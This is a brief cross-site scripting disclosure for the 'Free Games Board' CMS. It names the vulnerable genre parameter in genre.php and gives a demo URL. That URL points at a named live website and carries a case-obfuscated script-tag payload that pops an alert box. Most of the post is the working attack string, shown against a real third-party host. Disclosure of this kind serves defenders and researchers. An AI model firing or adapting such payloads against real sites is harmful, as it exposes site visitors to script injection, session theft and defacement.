Free Games Board CMS Cross Site Scripting vuln

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Software : Free Games Board
Author   : Platen  
mail     : platen.secure[at]gmail.com
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xss:

http://localhost/[path]/genre.php?genre=[xss]
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demo:

http://www.classictelly.com/genre.php?genre=1<ScRiPt %0A%0D>alert(555555555)%3B</ScRiPt>